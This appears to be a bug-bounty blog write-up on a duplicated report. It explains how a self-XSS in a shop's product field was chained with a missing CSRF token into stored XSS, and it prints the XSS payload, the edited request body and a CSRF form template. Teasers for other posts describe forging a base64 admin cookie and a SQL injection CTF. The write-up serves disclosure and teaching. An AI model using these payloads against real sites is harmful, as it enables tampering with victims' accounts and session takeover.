[Duplicated] Self-XSS & CSRF attack lead to Stored XSS

-

Hi guys

 it's me Flex, in this post I will share a new vulnerability on a private program let's call it `example.com` the vulnerability was a Self-XSS with CSRF attack which leads to Stored XSS.

The story of the discovery

the target is a shop website when I test the function to add a product I start adding my lovely XSS payload <svg/onload=alert(0)> everywhere and one of them these fields work and give me a pop-up because the input was wrong to the field and the website tells me that this value is wrong so it is a self-XSS I tried to find Clickjacking to make it exploitable but there is no way with clickjacking, after some minutes I tried to find a CSRF attack so I opened my Burp and catch the change request and I notice that there is no CSRF-Token or any CSRF protection so I tried to exploit this two bugs together to get the Stored XSS, the body of the edited request was like that

 
{"basePage":{"draftIds":["victim_id"],"wsId":"-1","wsType":"-1"},"mode":"INDIVIDUAL","action":"SAVE","layerName":"EDITPANE","variation":null,"currencyInfo":{"currencySymbolLeft":true,"singularName":"U.S. dollars","moneySymbol":"$","decimalSymbol":".","groupingSymbol":",","gS":",","decimalPlaces":"2","currencyCode":"USD","pluralName":"U.S. dollar"},"singleList":true,"listingMode":"AddItem","fields":{"upc":"XSS_payload","":"true"},"updateRequired":true,"customFields":{},"byPassUpdate":false,"sellerType":"C2C","isAdd":"","saveUlsi":true,"edpCrNew":false,"deletedFields":[],"updateCrNew":true,"recentCategories":null,"suggestedCategories":["13718:Collectibles > Arcade, Jukeboxes & Pinball > Arcade Gaming > Replacement Parts","57988:Clothing, Shoes & Accessories > Mens Clothing > Coats & Jackets","217:Sports Mem, Cards & Fan Shop > Sports Trading Cards > Other Sports Trading Cards","48:Collectibles > Photographic Images > Contemporary (1940-Now) > Other Contemporary Photographs","75708:Toys & Hobbies > Action Figures > TV, Movie & Video Games"],"customAttributes":{"PL_OPT_IN":"0","PL_SELLER_ELIGIBLE":"1","PL_FORMAT_ELIGIBLE":"0","PL_CATEGORY_ELIGIBLE":"0","PL_ALREADY_OPTED":"0"},"draftMode":"Listing","restricted":false,"customPreference":{"preferences":{"scheduleStartTime":true,"reservePrice":true,"sellAsLot":true,"privateListing":true,"":true,"additionalPaymentOptions":true,"additionalCheckoutInstructions":true,"salesTax":true,"additionalReturnPolicyDetails":true,"internationalShipping":true,"shippingExclusionList":true,"shippingRateTable":true},"sellerDetails":["NO_STORE_SUBSCRIPTION","NO_SHIPPING_DISCOUNTS","NON_SM_SELLER"]},"payments20":false,"isvShown":false}

so just I want the victim draft id to use the CSRF attack to change the draft information and add the XSS payload, the CSRF code which I used it
<form action="https://exampl.com/endpoint" method="POST">
    <input type="hidden" name="clientType" value="Firefox:66:">
    <input type="hidden" name="request" value='[add_decode_value_here]'>
    <input type="submit" value="send">
</form>

 when I use this HTML code and add the request body above with the victim draft ID and the XSS payload BOOOM!! the field value will be changed and when the user visits his page again the XSS payload will be executed.

 it was good to me but it was duplicated too :_(.

 THE END.

Comments

Post a Comment

Popular posts from this blog

HITB2018DXB Pre-Conf CTF | Write up

-
Image
In this topic, I will share with your the write-up about the HITB2018DXB Pre-Conf CTF from Cyber Talents I will solve the web security challenges. First challenge [ who am i for 50 points] : at the first when we open the challenge we will found a login form so the first thing I tried to do it's open the source and look on it and I found that so I used this account to enter the panel but I found that I should be an admin to see the flag I think for a few minutes and I try to see the cookies and I found this the value is encoded with base64 so when I decode it I found this value  login=Guest now I changed the Guest to admin and encode it again and I tried to open the page again and I found the flag the flag is:  FLag{B@D_4uTh1Nt1C4Ti0n} ----------- The second challenge [Dark project for 100 points]: when you open the challenge you will find that there is a page when you open one from it there is a new parameter and the page nam...
Read more

How to start on web applications security

-
Image
Summary: hey guys I hope you are fine, now I am going to talk about how to start with Web applications security. now if you want to learn something from someone but this guy doesn’t speak the same language of you what will you do?…….yes…you will learn his language to learn from him, it’s the same with web applications now if you want to start “security web application” you should learn how it works, learn it’s language. Now I will talk about the programming language: There are a lot of programming languages you can use Java, ASP, Perl, Ruby, Python, and PHP but the best one is PHP because most of the web applications use it but the other languages have a good future now you learned PHP to understand what website say :D, now you should learn a programming language for the Database to use it with PHP now the Database is something that the website can’t work without it. so you can learn MySQL it’s good but there are others you can search about them “Google Is Yo...
Read more

Write-Up || Quals: Saudi and Oman CTF 2019 Web Challenges

-
Image
Welcome Guys, I will solve the web challenges on the Quals of Saudi and Oman CTF 2019 I will solve it on the video but I will talk about the challenges first. The First Challenge is  Maria it's a Hard one with 200 points, this challenge is a SQL injection challenge the first thing you should found the field which you will inject your payload on it if we try to delete the cookie we will see the SQL query which adds your IP to the database so we will inject the IP to get the information from the DB we need the Maria's IP address so we will dump it and we will see that on the video after that when we add the IP we should add the cookies and we will use the cookies from set-cookie header on the response The Second Challenge is  Back to basics  it's an Easy one with 50 points if we try to open the challenge link we will be redirected to Google so we should open it with another way so I used Burp to catch the request but I didn't find anything interes...
Read more